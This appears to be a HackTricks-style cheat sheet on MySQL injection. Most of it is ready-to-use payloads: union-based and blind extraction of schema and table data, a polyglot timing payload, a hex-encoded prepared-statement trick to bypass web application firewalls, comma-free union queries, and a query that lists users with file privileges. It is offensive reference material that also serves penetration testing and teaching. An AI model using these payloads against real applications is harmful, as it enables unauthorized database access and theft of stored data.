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| mysql-ssrf.md | ||
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MySQL injection
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Comments
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
Interesting Functions
Confirm Mysql:
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
Useful functions
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
All injection
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
from https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/
Flow
Remember that in "modern" versions of MySQL you can substitute "information_schema.tables" for "mysql.innodb_table_stats" (This could be useful to bypass WAFs).
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
Only 1 value
group_concat()Limit X,1
Blind one by one
substr(version(),X,1)='r'orsubstring(version(),X,1)=0x70orascii(substr(version(),X,1))=112mid(version(),X,1)='5'
Blind adding
LPAD(version(),1...lenght(version()),'1')='asd'...RPAD(version(),1...lenght(version()),'1')='asd'...SELECT RIGHT(version(),1...lenght(version()))='asd'...SELECT LEFT(version(),1...lenght(version()))='asd'...SELECT INSTR('foobarbar', 'fo...')=1
Detect number of columns
Using a simple ORDER
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
MySQL Union Based
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
SSRF
Learn here different options to abuse a Mysql injection to obtain a SSRF.
WAF bypass tricks
Executing queries through Prepared Statements
When stacked queries are allowed, it might be possible to bypass WAFs by assigning to a variable the hex representation of the query you want to execute (by using SET), and then use the PREPARE and EXECUTE MySQL statements to ultimately execute the query. Something like this:
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
For more information please refer to this blog post.
Information_schema alternatives
Remember that in "modern" versions of MySQL you can substitute information_schema.tables for mysql.innodb_table_stats or for sys.x$schema_flattened_keys or for sys.schema_table_statistics
MySQLinjection without COMMAS
Select 2 columns without using any comma (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
Retrieving values without the column name
If at some point you know the name of the table but you don't know the name of the columns inside the table, you can try to find how may columns are there executing something like:
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
Supposing there is 2 columns (being the first one the ID) and the other one the flag, you can try to bruteforce the content of the flag trying character by character:
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
More info in https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952
MySQL history
You ca see other executions inside the MySQL reading the table: sys.x$statement_analysis
Version alternatives
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
Other MYSQL injection guides
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md]
References
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md
RootedCON is the most relevant cybersecurity event in Spain and one of the most important in Europe. With the mission of promoting technical knowledge, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
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Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.